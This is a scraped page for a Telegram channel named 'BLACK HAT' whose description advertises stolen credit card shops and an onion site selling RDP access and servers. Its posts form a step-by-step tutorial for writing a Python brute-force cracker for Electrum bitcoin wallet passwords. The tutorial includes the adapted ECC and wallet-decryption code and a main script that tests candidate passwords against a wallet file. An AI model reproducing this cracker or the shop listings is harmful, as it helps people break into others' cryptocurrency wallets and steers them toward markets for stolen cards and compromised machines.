Get Mystery Box with random crypto!

🎩BLACK HAT🎩

Logo of telegram channel data_brokers — 🎩BLACK HAT🎩 B
Logo of telegram channel data_brokers — 🎩BLACK HAT🎩
Channel address: @data_brokers
Categories: Education
Language: English
Subscribers: 5.36K
Description from channel

SINCE 2019
Official Handel : @queen_inc
Backup : https://t.me/ 2pBKAJt5TqZjNDU1
preferred
yalelodge.cm - cc shop
allworld.cards -cc shop
orderswq6q7kqghs.onion - rdp/servers
orders.bz

Ratings & Reviews

3.00

3 reviews

Reviews can be left only by registered users. All reviews are moderated by admins.

5 stars

0

4 stars

1

3 stars

1

2 stars

1

1 stars

0


The latest Messages 20

2021-05-13 04:56:59 except InvalidECPointException as e:
return False

ecdh_key = (ephemeral_pubkey * self.secret_scalar).get_public_key_bytes(compressed=True)
key = hashlib.sha512(ecdh_key).digest()
iv, key_e, key_m = key[0:16], key[16:32], key[32:]

if mac != hmac_oneshot(key_m, encrypted[:-32], hashlib.sha256):
return False
else:
return True
186 views01:56
Open / Comment
2021-05-13 04:56:59 def get_public_key_bytes(self, compressed=True):
if self.is_at_infinity(): raise Exception('point is at infinity')
x = int.to_bytes(self.x(), length=32, byteorder='big', signed=False)
y = int.to_bytes(self.y(), length=32, byteorder='big', signed=False)
if compressed:
header = b'\x03' if self.y() & 1 else b'\x02'
return header + x
else:
header = b'\x04'
return header + x + y

def _to_libsecp256k1_pubkey_ptr(self):
pubkey = create_string_buffer(64)
public_pair_bytes = self.get_public_key_bytes(compressed=False)
ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
_libsecp256k1.ctx, pubkey, public_pair_bytes, len(public_pair_bytes))
if not ret:
raise Exception('public key could not be parsed or is invalid')
return pubkey

@classmethod
def _from_libsecp256k1_pubkey_ptr(cls, pubkey) -> 'ECPubkey':
pubkey_serialized = create_string_buffer(65)
pubkey_size = c_size_t(65)
_libsecp256k1.secp256k1_ec_pubkey_serialize(
_libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey, SECP256K1_EC_UNCOMPRESSED)
return ECPubkey(bytes(pubkey_serialized))

def __mul__(self, other: int):

if not isinstance(other, int):
raise TypeError('multiplication not defined for ECPubkey and {}'.format(type(other)))

other %= CURVE_ORDER

if self.is_at_infinity() or other == 0:
return POINT_AT_INFINITY

pubkey = self._to_libsecp256k1_pubkey_ptr()

ret = _libsecp256k1.secp256k1_ec_pubkey_tweak_mul(_libsecp256k1.ctx, pubkey, other.to_bytes(32, byteorder="big"))

if not ret:
return POINT_AT_INFINITY

return ECPubkey._from_libsecp256k1_pubkey_ptr(pubkey)

CURVE_ORDER = 0xFFFFFFFF_FFFFFFFF_FFFFFFFF_FFFFFFFE_BAAEDCE6_AF48A03B_BFD25E8C_D0364141
GENERATOR = ECPubkey(bytes.fromhex('0479be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798'
'483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8'))
POINT_AT_INFINITY = ECPubkey(None)

class ECPrivkey(ECPubkey):
def __init__(self, privkey_bytes: bytes):

assert_bytes(privkey_bytes)
if len(privkey_bytes) != 32:
raise Exception('unexpected size for secret. should be 32 bytes, not {}'.format(len(privkey_bytes)))

secret = string_to_number(privkey_bytes)

if not is_secret_within_curve_range(secret):
raise InvalidECPointException('Invalid secret scalar (not within curve order)')
self.secret_scalar = secret

pubkey = GENERATOR * secret

super().__init__(pubkey.get_public_key_bytes(compressed=False))

@classmethod
def from_arbitrary_size_secret(cls, privkey_bytes: bytes):
return ECPrivkey(cls.normalize_secret_bytes(privkey_bytes))

@classmethod
def normalize_secret_bytes(cls, privkey_bytes: bytes) -> bytes:
scalar = string_to_number(privkey_bytes) % CURVE_ORDER
if scalar == 0:
raise Exception('invalid EC private key scalar: zero')
privkey_32bytes = int.to_bytes(scalar, length=32, byteorder='big', signed=False)
return privkey_32bytes

def decrypt_message(self, encrypted: Union[str, bytes], magic: bytes=b'BIE1') -> bytes:

encrypted = base64.b64decode(encrypted)
if len(encrypted) < 85:
return False

magic_found = encrypted[:4]
ephemeral_pubkey_bytes = encrypted[4:37]
ciphertext = encrypted[37:-32]
mac = encrypted[-32:]
if magic_found != magic:
return False
try:
ephemeral_pubkey = ECPubkey(ephemeral_pubkey_bytes)
216 views01:56
Open / Comment
2021-05-13 04:56:59 The decrypt method uses the following methods:
1) get_eckey_from_password - getting the EC_KEY from the secret. The method returns an object of the ECPrivkey class, which we will refer to later.
2) get_encryption_magic - getting the encryption method (password, key, etc.). You can see that I have shortened this method to return b'BIE1 ', since I will only be looking at the password encryption method. BIE1 - the first 4 characters of the wallet, which are responsible for the encryption method (do base64 decode if you don't trust)

The next step is to consider the methods of the ECPrivkey class, specifically, the decrypt_message method, which will give us the desired YES or NO when checking the password. Let's start in order: first we call the decrypt (password) -> get_eckey_from_password (password) method which refers to the ecc.ECPrivkey.from_arbitrary_size_secret (secret) method

Let's create an ecc.py file in the src working directory, which will contain the ECPrivkey class :

PS: I follow the same naming conventions for the electrum project to avoid confusion.

it should look like this:


electrum
venv
main.py
src
├── ecc.py
└── __init__.py



In init.py, let's denote our ecc.py
init.py



from . import ecc



Let's start generating ecc.py: at this stage we need the ECPubkey and ECPrivkey classes with the set of methods necessary for our purposes.

First of all, we call the static method of the class: ECPrivkey.from_arbitrary_size_secret (secret), let's see what happens there: refer to electrum / ecc.py

Again, everything is confusing ... let's write it in a readable form:



from_arbitrary_size_secret() --> init class ECPrivkey(какой-то скаляр) --> init class ECPubkey(что-то нечеловеческое).


Those. the static method from_arbitrary_size_secret initializes the ECPrivkey class, which in turn, upon initialization, initializes the ECPubkey (GENERATOR) class.

Let's put it all out:

ecc.py


from typing import Union, Tuple, Optional
from ctypes import (
byref, c_byte, c_int, c_uint, c_char_p, c_size_t, c_void_p, create_string_buffer,
CFUNCTYPE, POINTER, cast
)
import base64
import hashlib

from src.util import assert_bytes
from src.ecc_fast import _libsecp256k1, SECP256K1_EC_UNCOMPRESSED
from src.crypto import hmac_oneshot

def string_to_number(b: bytes) -> int:
return int.from_bytes(b, byteorder='big', signed=False)

def is_secret_within_curve_range(secret: Union[int, bytes]) -> bool:
if isinstance(secret, bytes):
secret = string_to_number(secret)
return 0 < secret < CURVE_ORDER

def _x_and_y_from_pubkey_bytes(pubkey: bytes) -> Tuple[int, int]:
assert isinstance(pubkey, bytes), f'pubkey must be bytes, not {type(pubkey)}'

pubkey_ptr = create_string_buffer(64)
ret = _libsecp256k1.secp256k1_ec_pubkey_parse(
_libsecp256k1.ctx, pubkey_ptr, pubkey, len(pubkey))
if not ret:
raise InvalidECPointException('public key could not be parsed or is invalid')

pubkey_serialized = create_string_buffer(65)
pubkey_size = c_size_t(65)
_libsecp256k1.secp256k1_ec_pubkey_serialize(
_libsecp256k1.ctx, pubkey_serialized, byref(pubkey_size), pubkey_ptr, SECP256K1_EC_UNCOMPRESSED)
pubkey_serialized = bytes(pubkey_serialized)
assert pubkey_serialized[0] == 0x04, pubkey_serialized
x = int.from_bytes(pubkey_serialized[1:33], byteorder='big', signed=False)
y = int.from_bytes(pubkey_serialized[33:65], byteorder='big', signed=False)
return x, y

class ECPubkey(object):

def __init__(self, b: Optional[bytes]):
if b is not None:
assert isinstance(b, (bytes, bytearray)), f'pubkey must be bytes-like, not {type(b)}'
if isinstance(b, bytearray):
b = bytes(b)
self._x, self._y = _x_and_y_from_pubkey_bytes(b)
else:
self._x, self._y = None, None

def is_at_infinity(self):
return self == POINT_AT_INFINITY

def x(self) -> int:
return self._x

def y(self) -> int:
return self._y
262 views01:56
Open / Comment
2021-05-13 04:54:06 2. Coding
Let's start with main.py

Here we need the WalletStorage class, which will contain the methods for decrypting our wallet. I will ignore the methods we do not need, because we will only focus on password verification. To understand how the initialization of the wallet in Electrum is organized, let's turn to electrum / storage.py, specifically, to the WalletStorage class. When checking the password (key), Electrum initializes the WalletStorage class and calls the check_password () method from it, which calls the decrypt () method. So .. not very clear, as it seems to me. Let's write this construct in pseudocode for clarity:

init class WalletStorage('path_to_walet') --> check_password(password) --> decrypt(password)

More or less ...
In the end, I came to this beginning:



import hashlib
import sys
import os

from src import ecc

class WalletStorage(object):
def __init__(self, path):

self.path = os.path.join( os.path.dirname(os.path.realpath(__file__)), path)
self._file_exists = bool(self.path and os.path.exists(self.path))
self.pubkey = None
self.decrypted = ''

with open(self.path, "r", encoding='utf-8') as f:
self.raw = f.read()

def _get_encryption_magic(self):
return b'BIE1'

def decrypt(self, password) -> None:
ec_key = self.get_eckey_from_password(password)

s = False
if self.raw:
enc_magic = self._get_encryption_magic()
s = ec_key.decrypt_message(self.raw, enc_magic)
if s:
print('[+] %s' % password)

def check_password(self, password) -> None:
self.decrypt(password)

@staticmethod
def get_eckey_from_password(password):
secret = hashlib.pbkdf2_hmac('sha512', password.encode('utf-8'), b'', iterations=1024)
ec_key = ecc.ECPrivkey.from_arbitrary_size_secret(secret)

return ec_key

def main():

# get wallet name for args
wallet_name = None
if len(sys.argv) != 2:
print('Usage: %s ' % sys.argv[0])
exit()
else:
wallet_name = sys.argv[1]
if not os.path.exists(wallet_name):
print('Wallet not found in current directory.')
exit()

# init wallet
wallet = WalletStorage(wallet_name)

for password in ['test1', 'passwordTest2']:
wallet.check_password(password)

if __name__ == "__main__":
main = main()
301 views01:54
Open / Comment
2021-05-13 04:52:17
311 views01:52
Open / Comment
2021-05-13 04:52:02 PS: I am accessing python modules via -m, because it is more intuitive for me which version of python I am referring to.

Everything is prepared, you can start writing code, or rather copy-paste from the Electrum sources. First, let's get acquainted with the wallet decryption process itself, I will designate it in the form of a diagram:
319 views01:52
Open / Comment
2021-05-13 04:51:26 python3 -m venv ./venv && source ./venv/bin/activate
322 views01:51
Open / Comment
2021-05-13 04:51:09 We will work in a virtual python environment, so in the directory with the project we will do the following:
323 views01:51
Open / Comment
2021-05-13 04:50:53 mkdir ~/EBW_bf
mkdir ~/EBW_bf/src
cp -r ~/Downloads/Electrum-4.1.2/electrum ~/EBW_bf/
cd ~/EBW_bf
324 views01:50
Open / Comment
2021-05-13 04:50:27 For the project we only need the contents of the "electrum" directory. This directory contains all the python code we need that we will use to build our brute force.
Let's create a working directory:
332 views01:50
Open / Comment